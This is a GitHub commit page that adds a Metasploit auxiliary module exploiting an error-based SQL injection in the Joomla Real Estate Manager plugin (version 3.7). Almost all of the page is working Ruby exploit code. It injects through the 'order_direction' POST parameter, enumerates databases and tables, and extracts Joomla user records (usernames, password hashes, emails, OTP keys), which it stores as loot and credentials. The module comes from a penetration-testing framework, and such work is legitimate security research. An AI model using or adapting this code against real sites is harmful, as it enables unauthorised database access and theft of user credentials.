Skip to content

Commit 93df45e

Browse files
committed
Land rapid7#6138, Land joomla plugin com_realestatemanager Error Based SQLi
2 parents 4665360 + 09b7941 commit 93df45e

File tree

1 file changed

+260
-0
lines changed

1 file changed

+260
-0
lines changed
Lines changed: 260 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,260 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Joomla Real Estate Manager Component Error-Based SQL Injection',
16+
'Description' => %q{
17+
This module exploits a SQL injection vulnerability in Joomla Plugin
18+
com_realestatemanager versions 3.7 in order to either enumerate
19+
usernames and password hashes.
20+
},
21+
'References' =>
22+
[
23+
['EDB', '38445']
24+
],
25+
'Author' =>
26+
[
27+
'Omer Ramic', # discovery
28+
'Nixawk', # metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'DisclosureDate' => 'Oct 22 2015'
32+
))
33+
34+
register_options(
35+
[
36+
OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/'])
37+
], self.class)
38+
end
39+
40+
def print_good(message='')
41+
super("#{rhost}:#{rport} - #{message}")
42+
end
43+
44+
def print_status(message='')
45+
super("#{rhost}:#{rport} - #{message}")
46+
end
47+
48+
def report_cred(opts)
49+
service_data = {
50+
address: opts[:ip],
51+
port: opts[:port],
52+
service_name: ssl ? 'https' : 'http',
53+
protocol: 'tcp',
54+
workspace_id: myworkspace_id
55+
}
56+
57+
credential_data = {
58+
origin_type: :service,
59+
module_fullname: fullname,
60+
username: opts[:user]
61+
}.merge(service_data)
62+
63+
if opts[:password]
64+
credential_data.merge!(
65+
private_data: opts[:password],
66+
private_type: :nonreplayable_hash,
67+
jtr_format: 'md5'
68+
)
69+
end
70+
71+
login_data = {
72+
core: create_credential(credential_data),
73+
status: opts[:status],
74+
proof: opts[:proof]
75+
}.merge(service_data)
76+
77+
create_credential_login(login_data)
78+
end
79+
80+
def check
81+
flag = Rex::Text.rand_text_alpha(5)
82+
payload = "0x#{flag.unpack('H*')[0]}"
83+
84+
data = sqli(payload)
85+
if data && data.include?(flag)
86+
Msf::Exploit::CheckCode::Vulnerable
87+
else
88+
Msf::Exploit::CheckCode::Safe
89+
end
90+
end
91+
92+
def sqli(query)
93+
lmark = Rex::Text.rand_text_alpha(5)
94+
rmark = Rex::Text.rand_text_alpha(5)
95+
96+
payload = '(SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
97+
payload << "0x#{lmark.unpack('H*')[0]},"
98+
payload << '%s,'
99+
payload << "0x#{rmark.unpack('H*')[0]},"
100+
payload << 'FLOOR(RAND(0)*2)'
101+
payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
102+
103+
get = {
104+
'option' => 'com_realestatemanager',
105+
'task' => 'showCategory',
106+
'catid' => '50',
107+
'Itemid' => '132'
108+
}
109+
110+
res = send_request_cgi({
111+
'uri' => normalize_uri(target_uri.path, 'index.php'),
112+
'vars_get' => get,
113+
})
114+
115+
116+
if res && res.code == 200
117+
cookie = res.get_cookies
118+
post = {
119+
'order_field' => 'price',
120+
'order_direction' => 'asc,' + (payload % query)
121+
}
122+
res = send_request_cgi({
123+
'uri' => normalize_uri(target_uri.path, 'index.php'),
124+
'method' => 'POST',
125+
'cookie' => cookie,
126+
'vars_get' => get,
127+
'vars_post' => post
128+
})
129+
130+
# Error based SQL Injection
131+
if res && res.code == 500 && res.body =~ /#{lmark}(.*)#{rmark}/
132+
$1
133+
end
134+
end
135+
end
136+
137+
def query_databases
138+
dbs = []
139+
140+
query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) '
141+
query << 'FROM INFORMATION_SCHEMA.SCHEMATA)'
142+
143+
dbc = sqli(query)
144+
145+
query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) '
146+
query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)'
147+
148+
0.upto(dbc.to_i - 1) do |i|
149+
dbname = sqli(query_fmt % i)
150+
dbs << dbname
151+
vprint_good("Found database name: #{dbname}")
152+
end
153+
154+
%w(performance_schema information_schema mysql).each do |dbname|
155+
dbs.delete(dbname) if dbs.include?(dbname)
156+
end
157+
dbs
158+
end
159+
160+
def query_tables(database)
161+
tbs = []
162+
163+
query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) '
164+
query << 'FROM INFORMATION_SCHEMA.TABLES '
165+
query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))"
166+
167+
tbc = sqli(query)
168+
169+
query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) '
170+
query_fmt << 'FROM INFORMATION_SCHEMA.TABLES '
171+
query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) "
172+
query_fmt << 'LIMIT %d,1)'
173+
174+
vprint_status('tables in database: %s' % database)
175+
0.upto(tbc.to_i - 1) do |i|
176+
tbname = sqli(query_fmt % i)
177+
vprint_good("Found table #{database}.#{tbname}")
178+
tbs << tbname if tbname =~ /_users$/
179+
end
180+
tbs
181+
end
182+
183+
def query_columns(database, table)
184+
cols = []
185+
query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})"
186+
187+
colc = sqli(query)
188+
vprint_status("Found Columns: #{colc} from #{database}.#{table}")
189+
190+
valid_cols = [ # joomla_users
191+
'activation',
192+
'block',
193+
'email',
194+
'id',
195+
'lastResetTime',
196+
'lastvisitDate',
197+
'name',
198+
'otep',
199+
'otpKey',
200+
'params',
201+
'password',
202+
'registerDate',
203+
'requireReset',
204+
'resetCount',
205+
'sendEmail',
206+
'username'
207+
]
208+
209+
query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) '
210+
query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)"
211+
212+
0.upto(colc.to_i - 1) do |i|
213+
record = {}
214+
valid_cols.each do |col|
215+
l = 1
216+
record[col] = ''
217+
loop do
218+
value = sqli(query_fmt % [col, l, i])
219+
break if value.blank?
220+
record[col] << value
221+
l += 54
222+
end
223+
end
224+
cols << record
225+
226+
unless record['username'].blank?
227+
print_good("Found credential: #{record['username']}:#{record['password']} (Email: #{record['email']})")
228+
report_cred(
229+
ip: rhost,
230+
port: datastore['RPORT'],
231+
user: record['username'].to_s,
232+
password: record['password'].to_s,
233+
status: Metasploit::Model::Login::Status::UNTRIED,
234+
proof: record.to_s
235+
)
236+
end
237+
238+
vprint_status(record.to_s)
239+
end
240+
cols
241+
end
242+
243+
def run
244+
dbs = query_databases
245+
dbs.each do |db|
246+
tables = query_tables(db)
247+
tables.each do |table|
248+
cols = query_columns(db, table)
249+
next if cols.blank?
250+
path = store_loot(
251+
'joomla.users',
252+
'text/plain',
253+
datastore['RHOST'],
254+
cols.to_json,
255+
'joomla.users')
256+
print_good('Saved file to: ' + path)
257+
end
258+
end
259+
end
260+
end

0 commit comments

Comments
 (0)